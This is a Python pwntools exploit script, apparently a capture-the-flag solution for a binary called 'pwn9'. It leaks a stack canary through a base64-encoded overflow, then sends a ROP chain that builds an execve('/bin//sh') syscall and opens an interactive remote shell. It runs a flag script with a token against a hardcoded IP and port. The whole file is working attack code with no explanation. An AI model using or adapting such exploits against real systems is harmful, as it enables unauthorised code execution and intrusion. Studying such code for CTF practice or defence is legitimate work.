1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118
| #!/usr/bin/python2.7 # -*- coding: utf-8 -*- from pwn import * from struct import pack context.log_level = "debug" context.arch = "amd64" elf = ELF("pwn9") sh = 0 lib = 0 def rop(): p = '' p += pack('<Q', 0x0000000000401f57) # pop rsi ; ret p += pack('<Q', 0x00000000006cb080) # @ .data p += pack('<Q', 0x00000000004715e4) # pop rax ; ret p += '/bin//sh' p += pack('<Q', 0x000000000047cd21) # mov qword ptr [rsi], rax ; ret p += pack('<Q', 0x0000000000401f57) # pop rsi ; ret p += pack('<Q', 0x00000000006cb088) # @ .data + 8 p += pack('<Q', 0x0000000000426baf) # xor rax, rax ; ret p += pack('<Q', 0x000000000047cd21) # mov qword ptr [rsi], rax ; ret p += pack('<Q', 0x0000000000401e36) # pop rdi ; ret p += pack('<Q', 0x00000000006cb080) # @ .data p += pack('<Q', 0x0000000000401f57) # pop rsi ; ret p += pack('<Q', 0x00000000006cb088) # @ .data + 8 p += pack('<Q', 0x00000000004433e6) # pop rdx ; ret p += pack('<Q', 0x00000000006cb088) # @ .data + 8 p += pack('<Q', 0x0000000000426baf) # xor rax, rax ; ret p += pack('<Q', 0x000000000046f140) # add rax, 1 ; ret p += pack('<Q', 0x000000000046f140) # add rax, 1 ; ret p += pack('<Q', 0x000000000046f140) # add rax, 1 ; ret p += pack('<Q', 0x000000000046f140) # add rax, 1 ; ret p += pack('<Q', 0x000000000046f140) # add rax, 1 ; ret p += pack('<Q', 0x000000000046f140) # add rax, 1 ; ret p += pack('<Q', 0x000000000046f140) # add rax, 1 ; ret p += pack('<Q', 0x000000000046f140) # add rax, 1 ; ret p += pack('<Q', 0x000000000046f140) # add rax, 1 ; ret p += pack('<Q', 0x000000000046f140) # add rax, 1 ; ret p += pack('<Q', 0x000000000046f140) # add rax, 1 ; ret p += pack('<Q', 0x000000000046f140) # add rax, 1 ; ret p += pack('<Q', 0x000000000046f140) # add rax, 1 ; ret p += pack('<Q', 0x000000000046f140) # add rax, 1 ; ret p += pack('<Q', 0x000000000046f140) # add rax, 1 ; ret p += pack('<Q', 0x000000000046f140) # add rax, 1 ; ret p += pack('<Q', 0x000000000046f140) # add rax, 1 ; ret p += pack('<Q', 0x000000000046f140) # add rax, 1 ; ret p += pack('<Q', 0x000000000046f140) # add rax, 1 ; ret p += pack('<Q', 0x000000000046f140) # add rax, 1 ; ret p += pack('<Q', 0x000000000046f140) # add rax, 1 ; ret p += pack('<Q', 0x000000000046f140) # add rax, 1 ; ret p += pack('<Q', 0x000000000046f140) # add rax, 1 ; ret p += pack('<Q', 0x000000000046f140) # add rax, 1 ; ret p += pack('<Q', 0x000000000046f140) # add rax, 1 ; ret p += pack('<Q', 0x000000000046f140) # add rax, 1 ; ret p += pack('<Q', 0x000000000046f140) # add rax, 1 ; ret p += pack('<Q', 0x000000000046f140) # add rax, 1 ; ret p += pack('<Q', 0x000000000046f140) # add rax, 1 ; ret p += pack('<Q', 0x000000000046f140) # add rax, 1 ; ret p += pack('<Q', 0x000000000046f140) # add rax, 1 ; ret p += pack('<Q', 0x000000000046f140) # add rax, 1 ; ret p += pack('<Q', 0x000000000046f140) # add rax, 1 ; ret p += pack('<Q', 0x000000000046f140) # add rax, 1 ; ret p += pack('<Q', 0x000000000046f140) # add rax, 1 ; ret p += pack('<Q', 0x000000000046f140) # add rax, 1 ; ret p += pack('<Q', 0x000000000046f140) # add rax, 1 ; ret p += pack('<Q', 0x000000000046f140) # add rax, 1 ; ret p += pack('<Q', 0x000000000046f140) # add rax, 1 ; ret p += pack('<Q', 0x000000000046f140) # add rax, 1 ; ret p += pack('<Q', 0x000000000046f140) # add rax, 1 ; ret p += pack('<Q', 0x000000000046f140) # add rax, 1 ; ret p += pack('<Q', 0x000000000046f140) # add rax, 1 ; ret p += pack('<Q', 0x000000000046f140) # add rax, 1 ; ret p += pack('<Q', 0x000000000046f140) # add rax, 1 ; ret p += pack('<Q', 0x000000000046f140) # add rax, 1 ; ret p += pack('<Q', 0x000000000046f140) # add rax, 1 ; ret p += pack('<Q', 0x000000000046f140) # add rax, 1 ; ret p += pack('<Q', 0x000000000046f140) # add rax, 1 ; ret p += pack('<Q', 0x000000000046f140) # add rax, 1 ; ret p += pack('<Q', 0x000000000046f140) # add rax, 1 ; ret p += pack('<Q', 0x000000000046f140) # add rax, 1 ; ret p += pack('<Q', 0x000000000046f140) # add rax, 1 ; ret p += pack('<Q', 0x000000000046f140) # add rax, 1 ; ret p += pack('<Q', 0x000000000046f140) # add rax, 1 ; ret p += pack('<Q', 0x000000000046f140) # add rax, 1 ; ret p += pack('<Q', 0x000000000046f140) # add rax, 1 ; ret p += pack('<Q', 0x000000000046f140) # add rax, 1 ; ret p += pack('<Q', 0x000000000046f140) # add rax, 1 ; ret p += pack('<Q', 0x000000000046fea5) # syscall ; ret return p def pwn(ip,port,debug): global sh global lib if(debug == 1): sh = process("./pwn9") else: sh = remote(ip,port) #0x401196 sh.recvuntil(">") payload = 0x9*'a' b6 = base64.b64encode(payload) #input() sh.sendline(b6) sh.recvuntil("a" * 9) canary = u64('\x00' + sh.recv(7)) sh.recvuntil("continue") sh.sendline("yes") payload = 0x8 * "a" + p64(canary) payload += 'a' * 8 + rop() b6 = base64.b64encode(payload) sh.sendline(b6) sh.recvuntil("continue")
sh.sendline("no") sleep(0.2) sh.sendline("./flag.sh 1DJB8HC51KLT4E00000020PJUKVB5SHD") log.success("canary: " + hex(canary)) sh.interactive() if __name__ == "__main__": pwn("111.33.164.6",50009,0)
|